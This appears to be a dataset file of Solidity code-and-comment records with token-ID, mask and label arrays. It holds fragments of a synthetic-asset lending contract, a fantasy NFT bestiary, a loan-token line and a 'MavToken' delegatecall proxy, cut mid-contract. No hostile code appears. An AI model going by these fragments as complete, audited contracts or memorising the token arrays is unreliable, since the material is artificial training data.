* and uses an enum and struct to parse the args. This structure guarantees
* the state machine will always meet certain properties
*
* @param operation An enum of the operation to execute
* @param params Parameters to exceute the operation against
*/
function operateAction(
Operation operation,
OperationParams memory params
)
public
{
require(
paused == false,
"operateAction(): contracts cannot be paused"
);
TypesV1.Position memory operatedPosition;
(
uint256 collateralLimit,
uint256 syntheticLimit,
uint256 collateralMinimum
) = state.risk();
if (operation == Operation.Open) {
(operatedPosition, params.id) = openPosition(
params.amountOne,
params.amountTwo
);
require(
params.amountOne >= collateralMinimum,
"operateAction(): must exceed minimum collateral amount"
);
} else if (operation == Operation.Borrow) {
operatedPosition = borrow(
params.id,
params.amountOne,
params.amountTwo
);
} else if (operation == Operation.Repay) {
operatedPosition = repay(
params.id,
params.amountOne,
params.amountTwo
);
} else if (operation == Operation.Liquidate) {
operatedPosition = liquidate(
params.id
);
}
IERC20 synthetic = IERC20(state.syntheticAsset());
IERC20 collateralAsset = IERC20(state.collateralAsset());
require(
synthetic.totalSupply() <= syntheticLimit || syntheticLimit == 0,
"operateAction(): synthetic supply cannot be greater than limit"
);
require(
collateralAsset.balanceOf(address(synthetic)) <= collateralLimit || collateralLimit == 0,
"operateAction(): collateral locked cannot be greater than limit"
);
// SUGGESTION: Making sure the state doesn't get trapped. Echnida fuzzing could help.
// Testing very specific cases which a fuzzer may not be able to hit.
// Setup derived contract which allows direct entry point of internal functions.
// Ensure that the operated action is collateralised again
require(
state.isCollateralized(operatedPosition) == true,
"operateAction(): the operated position is undercollateralised"
);
emit ActionOperated(
uint8(operation),
params,
operatedPosition
);
}
/**
* @dev Withdraw tokens owned by the proxy. This will never include depositor funds
* since all the collateral is held by the synthetic token itself. The only funds
* that will accrue based on CoreV1 & StateV1 is the liquidation fees.
*
* @param token Address of the token to withdraw
* @param destination Destination to withdraw to
* @param amount The total amount of tokens withdraw
*/
function withdrawTokens(
address token,
address destination,
uint256 amount
)
external
onlyAdmin
{
SafeERC20.safeTransfer(
IERC20(token),
destination,
amount
);
}
function setPause(bool value)
external
onlyAdmin
{
paused = value;
emit PauseStatusUpdated(value);
}
// ============ Internal Functions ============
/**
* @dev Open a new position.
*
* @return The new position and the ID of the opened position
*/
function openPosition(
uint256 collateralAmount,
uint256 borrowAmount
)
internal
returns (TypesV1.Position memory, uint256)
{
// CHECKS:
// 1. No checks required as it's all processed in borrow()
// EFFECTS:
// 1. Create a new Position struct with the basic fields filled out and save it to storage
// 2. Call `borrowPosition()`
TypesV1.Position memory newPosition = TypesV1.Position({
owner: msg.sender,
collateralAsset: TypesV1.AssetType.Collateral,
borrowedAsset: TypesV1.AssetType.Synthetic,
collateralAmount: TypesV1.positiveZeroPar(),
borrowedAmount: TypesV1.zeroPar()
});
// This position is saved to storage to make the logic around borrowing
// uniform. This is slightly gas inefficient but ok given the ability to
// ensure no diverging logic.
uint256 positionId = state.savePosition(newPosition);
newPosition = borrow(
positionId,
collateralAmount,
borrowAmount
);
return (
newPosition,
positionId
);
}
/**
* @dev Borrow against an existing position.
*
* @param positionId ID of the position you'd like to borrow against
* @param collateralAmount Collateral deposit amount
* @param borrowAmount How much would you'd like to borrow/mint
*/
function borrow(
uint256 positionId,
uint256 collateralAmount,
uint256 borrowAmount
)
internal
returns (TypesV1.Position memory)
{
// CHECKS:
// 1. Ensure that the position actually exists
// 2. Ensure the position is collateralised before borrowing against it
// 3. Ensure that msg.sender == owner of position
// 4. Determine if there's enough liquidity of the `borrowAsset`
// 5. Calculate the amount of collateral actually needed given the `collateralRatio`
// 6. Ensure the user has provided enough of the collateral asset
// EFFECTS:
// 1. Increase the collateral amount to calculate the maximum the amount the user can borrow
// 2. Calculate the proportional new par value based on the borrow amount
// 3. Update the total supplied collateral amount
// 4. Calculate the collateral needed and ensuring the position has that much
// INTERACTIONS:
// 1. Mint the synthetic asset
// 2. Transfer the collateral to the synthetic token itself.
// This ensures on Etherscan people can see how much collateral is backing
// the synthetic
// Get the current position
TypesV1.Position memory position = state.getPosition(positionId);
// Ensure it's collateralized
require(
state.isCollateralized(position) == true,
"borrowPosition(): position is not collateralised"
);
require(
position.owner == msg.sender,
"borrowPosition(): must be a valid position"
);
Decimal.D256 memory currentPrice = state.getCurrentPrice();
// Increase the user's collateral amount
position = state.updatePositionAmount(
positionId,
position.collateralAsset,
TypesV1.Par({
sign: true,
value: collateralAmount.to128()
})
);
state.updateTotalSupplied(collateralAmount);
// Only if they're borrowing
if (borrowAmount > 0) {
// Calculate the new borrow amount
TypesV1.Par memory newPar = position.borrowedAmount.add(
TypesV1.Par({
sign: false,
value: borrowAmount.to128()
})
);
// Update the position's borrow amount
position = state.setAmount(
positionId,
position.borrowedAsset,
newPar
);
// Check how much collateral they need based on their new position details
TypesV1.Par memory collateralRequired = state.calculateInverseRequired(
position.borrowedAsset,
position.borrowedAmount.value,
currentPrice
);
// Ensure the user's collateral amount is greater than the collateral needed
require(
position.collateralAmount.value >= collateralRequired.value,
"borrowPosition(): not enough collateral provided"
);
}
IERC20 syntheticAsset = IERC20(state.syntheticAsset());
IERC20 collateralAsset = IERC20(state.collateralAsset());
// Transfer the collateral asset to the synthetic contract
SafeERC20.safeTransferFrom(
collateralAsset,
msg.sender,
address(syntheticAsset),
collateralAmount
);
// Mint the synthetic token to user opening the borrow position
ISyntheticToken(address(syntheticAsset)).mint(
msg.sender,
borrowAmount
);
return position;
}
/**
* @dev Repay money against a borrowed position. When this process occurs the position's
* debt will be reduced and in turn will allow them to withdraw their collateral should they choose.
*
* @param positionId ID of the position to repay
* @param repayAmount Amount of collateral to repay
* @param withdrawAmount Amount of collateral to withdraw
*/
function repay(
uint256 positionId,
uint256 repayAmount,
uint256 withdrawAmount
)
private
returns (TypesV1.Position memory)
{
// CHECKS:
// 1. Ensure the position actually exists by ensuring the owner == msg.sender
// 2. Ensure the position is sufficiently collateralized
// EFFECTS:
// 1. Calculate the new par value of the position based on the amount paid back
// 2. Update the position's new borrow amount
// 3. Calculate how much collateral you need based on your current position balance
// 4. If the amount being withdrawn is less than or equal to amount withdrawn you're good
// INTERACTIONS:
// 1. Burn the synthetic asset directly from their wallet
// 2.Transfer the stable coins back to the user
TypesV1.Position memory position = state.getPosition(positionId);
Decimal.D256 memory currentPrice = state.getCurrentPrice();
// Ensure the user has a collateralised position when depositing
require(
state.isCollateralized(position) == true,
"repay(): position is not collateralised"
);
require(
position.owner == msg.sender,
"repay(): must be a valid position"
);
// Calculate the user's new borrow requirements after decreasing their debt
// An positive wei value will reduce the negative wei borrow value
TypesV1.Par memory newPar = position.borrowedAmount.add(
TypesV1.Par({
sign: true,
value: repayAmount.to128()
})
);
// Update the position's new borrow amount
position = state.setAmount(positionId, position.borrowedAsset, newPar);
// Calculate how much the user is allowed to withdraw given their debt was repaid
(TypesV1.Par memory collateralDelta) = state.calculateCollateralDelta(
position.borrowedAsset,
position.collateralAmount,
position.borrowedAmount,
currentPrice
);
// Ensure that the amount they are trying to withdraw is less than their limit
require(
withdrawAmount <= collateralDelta.value,
"repay(): cannot withdraw more than you're allowed"
);
// Decrease the collateral amount of the position
position = state.updatePositionAmount(
positionId,
position.collateralAsset,
TypesV1.Par({
sign: false,
value: withdrawAmount.to128()
})
);
ISyntheticToken synthetic = ISyntheticToken(state.syntheticAsset());
IERC20 collateralAsset = IERC20(state.collateralAsset());
// Burn the synthetic asset from the user
synthetic.burn(
msg.sender,
repayAmount
);
// Transfer collateral back to the user
bool transferResult = synthetic.transferCollateral(
address(collateralAsset),
msg.sender,
withdrawAmount
);
require(
transferResult == true,
"repay(): collateral failed to transfer"
);
return position;
}
/**
* @dev Liquidate a user's position. When this process occurs you're essentially
* purchasing the users's debt at a discount (liquidation spread) in exchange
* for the collateral they have deposited inside their position.
*
* @param positionId ID of the position to liquidate
*/
function liquidate(
uint256 positionId
)
private
returns (TypesV1.Position memory)
{
// CHECKS:
// 1. Ensure that the position id is valid
// 2. Check the status of the position, only if it's undercollateralized you can call this
// EFFECTS:
// 1. Calculate the liquidation price price based on the liquidation penalty
// 2. Calculate how much the user is in debt by
// 3. Add the liquidation penalty on to the liquidation amount so they have some
// margin of safety to make sure they don't get liquidated again
// 4. If the collateral to liquidate is greater than the collateral, bound it.
// 5. Calculate how much of the borrowed asset is to be liquidated based on the collateral delta
// 6. Decrease the user's debt obligation by that amount
// 7. Update the new borrow and collateral amounts
// INTERACTIONS:
// 1. Burn the synthetic asset from the liquidator
// 2. Transfer the collateral from the synthetic token to the liquidator
// 3. Transfer a portion to the ARC Core contract as a fee
TypesV1.Position memory position = state.getPosition(positionId);
require(
position.owner != address(0),
"liquidatePosition(): must be a valid position"
);
// Ensure that the position is not collateralized
require(
state.isCollateralized(position) == false,
"liquidatePosition(): position is collateralised"
);
// Get the liquidation price of the asset (discount for liquidator)
Decimal.D256 memory liquidationPrice = state.calculateLiquidationPrice(
position.collateralAsset
);
// Calculate how much the user is in debt by to be whole again
(TypesV1.Par memory collateralDelta) = state.calculateCollateralDelta(
position.borrowedAsset,
position.collateralAmount,
position.borrowedAmount,
liquidationPrice
);
// Liquidate a slight bit more to ensure the user is guarded against futher price drops
collateralDelta.value = Decimal.mul(
collateralDelta.value,
Decimal.add(
state.totalLiquidationSpread(),
Decimal.one().value
)
).to128();
// If the maximum they're down by is greater than their collateral, bound to the maximum
if (collateralDelta.value > position.collateralAmount.value) {
collateralDelta.value = position.collateralAmount.value;
}
// Calculate how much borrowed assets to liquidate (at a discounted price)
uint256 borrowToLiquidate = state.calculateInverseAmount(
position.collateralAsset,
collateralDelta.value,
liquidationPrice
);
// Decrease the user's debt obligation
// This amount is denominated in par since collateralDelta uses the borrow index
TypesV1.Par memory newPar = position.borrowedAmount.add(
TypesV1.Par({
sign: true,
value: borrowToLiquidate.to128()
})
);
// Set the user's new borrow amount
position = state.setAmount(positionId, position.borrowedAsset, newPar);
// Decrease their collateral amount by the amount they were missing
position = state.updatePositionAmount(
positionId,
position.collateralAsset,
collateralDelta
);
address borrowAddress = state.getAddress(position.borrowedAsset);
require(
IERC20(borrowAddress).balanceOf(msg.sender) >= borrowToLiquidate,
"liquidatePosition(): msg.sender not enough of borrowed asset to liquidate"
);
ISyntheticToken synthetic = ISyntheticToken(
state.getAddress(TypesV1.AssetType.Synthetic)
);
IERC20 collateralAsset = IERC20(state.collateralAsset());
(
Decimal.D256 memory userSplit,
Decimal.D256 memory arcSplit
) = state.calculateLiquidationSplit();
// Burn the synthetic asset from the liquidator
synthetic.burn(
msg.sender,
borrowToLiquidate
);
// Transfer them the collateral assets they acquired at a discount
bool userTransferResult = synthetic.transferCollateral(
address(collateralAsset),
msg.sender,
Decimal.mul(
collateralDelta.value,
userSplit
)
);
require(
userTransferResult == true,
"liquidate(): collateral failed to transfer to user"
);
// Transfer ARC the collateral asset acquired at a discount
bool arcTransferResult = synthetic.transferCollateral(
address(collateralAsset),
address(this),
Decimal.mul(
collateralDelta.value,
arcSplit
)
);
require(
arcTransferResult == true,
"liquidate(): collateral failed to transfer to arc"
);
return position;
}
}
|
* @dev Set the parameters of the market @param _marketParams Set the new market params/
|
function setMarketParams(
TypesV1.MarketParams memory _marketParams
)
public
onlyAdmin
{
market = _marketParams;
emit MarketParamsUpdated(market);
}
| 5,972,935 |
[
1,
694,
326,
1472,
434,
326,
13667,
225,
389,
27151,
1370,
1000,
326,
394,
13667,
859,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
3882,
278,
1370,
12,
203,
3639,
7658,
58,
21,
18,
3882,
278,
1370,
3778,
389,
27151,
1370,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1338,
4446,
203,
565,
288,
203,
3639,
13667,
273,
389,
27151,
1370,
31,
203,
3639,
3626,
6622,
278,
1370,
7381,
12,
27151,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x8d98269214F82F9cE2BD8Dc5B65b32Ad53Ec1edF/sources/contracts/Test.sol
|
Initialize variables we need for better considerations Intialize helpers for image Rendering
|
constructor() ERC721("Bestiary (for Adventurers))", "BESTIARY") Ownable() {
levelsMonster["Young"] = ["10","11","12","13","14","15","16","17","18","19","20","21","22","23","24"];
levelsMonster["Old"] = ["25","26","27","28","29","30","31","32","33","34","35","36","37","38","39"];
levelsMonster["Elder"] = ["40","45","46","47","48","49"];
levelsMonster["Ancient"] = ["45","46","47","48","49","50"];
undiscoveredMessageBlocks["Grasslands"] = '<text x="20" y="80" class="base"> ....somewhere in the Grassland</text>';
undiscoveredMessageBlocks["Dungeon"] = '<text x="20" y="80" class="base"> ....you see the entrace to a dungeon</text>';
undiscoveredMessageBlocks["Graveyard"] = '<text x="20" y="80" class="base"> ....an old Graveyard</text>';
undiscoveredMessageBlocks["Woods"] = '<text x="20" y="80" class="base"> ....you venture deep into the woods</text>';
undiscoveredMessageBlocks["Sewers"] = '<text x="20" y="80" class="base"> ....you see the entrace to the sewers</text>';
undiscoveredMessageBlocks["Ancient Ruins"] = '<text x="20" y="80" class="base"> ....you enter an ancient ruin</text>';
undiscoveredMessageBlocks["Cave"] = '<text x="20" y="80" class="base"> ....you find an abbandonded cave, but is it?</text>';
undiscoveredMessageBlocks["Mountains"] = '<text x="20" y="80" class="base"> ....you climb on a mountain</text>';
monsterTypesPerRegion["Grasslands"] = [ "Animal","Wild Animal" ];
monsterTypesPerRegion["Dungeon"] = [ "Undead", "Human", "Arachnid", "Orc", "Special" ];
monsterTypesPerRegion["Graveyard"] = [ "Undead", "Arachnid", "Orc", "Champion" ];
monsterTypesPerRegion["Woods"] = [ "Animal","Wild Animal","Human","Champion" ];
monsterTypesPerRegion["Sewers"] = [ "Arachnid", "Ratmen", "Champion", "Human" ];
monsterTypesPerRegion["Ancient Ruins"] = [ "Undead","Elemental", "Elder Dragon", "Special" ];
monsterTypesPerRegion["Cave"] = [ "Wild Animal", "Arachnid", "Human", "Lesser Dragon", "Special" ];
monsterTypesPerRegion["Mountains"] = [ "Wild Animal", "Lesser Dragon", "Human", "Champion" ];
}
mapping(string => string[]) public monsterTypesPerRegion;
string[] public levelsAnimal = ["1","2","3","4","5","6","7","8","9","10"];
uint256[] public monsterRankings = [1,2,3,4,4,5,6];
mapping(string => string[]) private levelsMonster;
string[] public monsterAge = ["Young", "Old", "Elder", "Ancient"];
string[] public areas = [ "Grasslands", "Woods", "Sewer", "Dungeon", "Cave", "Ancient Ruin", "Mountains", "Graveyard" ];
string[] public monsterTypesWoods = [ "Animal","Wild Animal","Human","Champion" ];
string[] public monsterTypesSewers = [ "Arachnid", "Ratmen", "Champion", "Human" ];
string[] public monsterTypesGraveyard = [ "Undead", "Arachnid", "Orc", "Champion" ];
string[] public monsterTypesCave = [ "Wild Animal", "Arachnid", "Human", "Lesser Dragon", "Special" ];
string[] public monsterTypesAncientRuin = [ "Undead","Elemental", "Elder Dragon", "Special" ];
string[] public monsterTypesDungeons = [ "Undead", "Human", "Arachnid", "Orc", "Special" ];
string[] public monsterTypesMountains = [ "Wild Animal", "Lesser Dragon", "Human", "Champion" ];
string[] public animalType = [ "Rat","Boar","Horse", "Elefant" ];
string[] public wildAnimalType = [ "Brown Bear", "Grizzly Bear", "Black Bear", "Alligator", "Lion", "Tiger", "Panther", "Snake" ];
string[] public arachnidType = [ "Spider", "Scorpion", "Centipede" ];
string[] public dragonTypes = [ "Drake", "Fire Dragon", "Ice Dragon", "Crimson Dragon" ];
string[] public ratmentTypes = [ "Archer", "Mage", "Swordsman" ];
string[] public elementalTypes = [ "Fire", "Ice", "Arcane", "Water", "Earth", "Crimson"];
string[] public lesserDragonTypes = [ "Drake", "Fire", "Ice", "Arcane"];
string[] public elderDragonTypes = [ "Drako", "Baldur", "Grimmor", "Vlasmir", "Elund"];
string[] public championTypes = [ "Orc Captain", "Elite Orc Warrior", "Skelleton Captain" ];
string[] public bosses = [ "Drogon", "Viserion", "Lich King", "Undead Grizzly Bear", "Giant Centipede" ];
| 12,285,488 |
[
1,
7520,
3152,
732,
1608,
364,
7844,
5260,
1012,
3094,
1710,
9246,
364,
1316,
18018,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
4232,
39,
27,
5340,
2932,
14173,
77,
814,
261,
1884,
4052,
616,
295,
414,
30743,
16,
315,
5948,
882,
45,
6043,
7923,
14223,
6914,
1435,
288,
203,
203,
3639,
7575,
11415,
8190,
9614,
61,
465,
75,
11929,
377,
273,
8247,
2163,
15937,
2499,
15937,
2138,
15937,
3437,
15937,
3461,
15937,
3600,
15937,
2313,
15937,
4033,
15937,
2643,
15937,
3657,
15937,
3462,
15937,
5340,
15937,
3787,
15937,
4366,
15937,
3247,
11929,
31,
203,
3639,
7575,
11415,
8190,
9614,
7617,
11929,
4202,
273,
8247,
2947,
15937,
5558,
15937,
5324,
15937,
6030,
15937,
5540,
15937,
5082,
15937,
6938,
15937,
1578,
15937,
3707,
15937,
5026,
15937,
4763,
15937,
5718,
15937,
6418,
15937,
7414,
15937,
5520,
11929,
31,
203,
3639,
7575,
11415,
8190,
9614,
4958,
765,
11929,
377,
273,
8247,
7132,
15937,
7950,
15937,
8749,
15937,
9462,
15937,
8875,
15937,
7616,
11929,
31,
203,
3639,
7575,
11415,
8190,
9614,
979,
71,
1979,
11929,
282,
273,
8247,
7950,
15937,
8749,
15937,
9462,
15937,
8875,
15937,
7616,
15937,
3361,
11929,
31,
203,
540,
203,
3639,
640,
2251,
16810,
1079,
6450,
9614,
20799,
428,
80,
5708,
11929,
273,
2368,
955,
225,
619,
1546,
3462,
6,
677,
1546,
3672,
6,
667,
1546,
1969,
6441,
1372,
18,
87,
362,
359,
14852,
316,
326,
611,
86,
428,
15733,
1757,
955,
1870,
31,
203,
3639,
640,
2251,
16810,
1079,
6450,
9614,
40,
25561,
265,
11929,
273,
2368,
955,
225,
619,
1546,
3462,
6,
677,
1546,
3672,
6,
667,
1546,
1969,
6441,
225,
1372,
18,
19940,
2621,
326,
570,
5129,
358,
279,
302,
25561,
2
] |
./partial_match/1/0x79cC39AB7aDE9879f79fA430dd000cAcFe83Df86/sources/LoanToken.sol
|
assume month is 30 days
|
uint256 interest = helper.div(360 days).div(10000).div(totalSupply());
| 4,215,674 |
[
1,
428,
2066,
3138,
353,
5196,
4681,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
16513,
273,
4222,
18,
2892,
12,
29751,
4681,
2934,
2892,
12,
23899,
2934,
2892,
12,
4963,
3088,
1283,
10663,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
// File: zos-lib/contracts/upgradeability/Proxy.sol
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract MavToken {
address admin;
uint public totalSupply;
uint8 constant public decimals = 8;
string constant public name = "Marvel Finance";
string constant public symbol = "mav";
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @dev Contract constructor.
* @param _implementation Address of the initial implementation.
*/
constructor(address _implementation) public {
admin = msg.sender;
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _setImplementation(address newImplementation) private {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_delegate(_implementation());
}
}
|
* @title Proxy @dev Implements delegation of calls to other contracts, with proper forwarding of return values and bubbling of failures. It defines a fallback function that delegates all calls to the address returned by the abstract _implementation() internal function./
|
contract MavToken {
address admin;
uint public totalSupply;
uint8 constant public decimals = 8;
string constant public name = "Marvel Finance";
string constant public symbol = "mav";
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
function () payable external {
_fallback();
}
constructor(address _implementation) public {
admin = msg.sender;
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _setImplementation(address newImplementation) private {
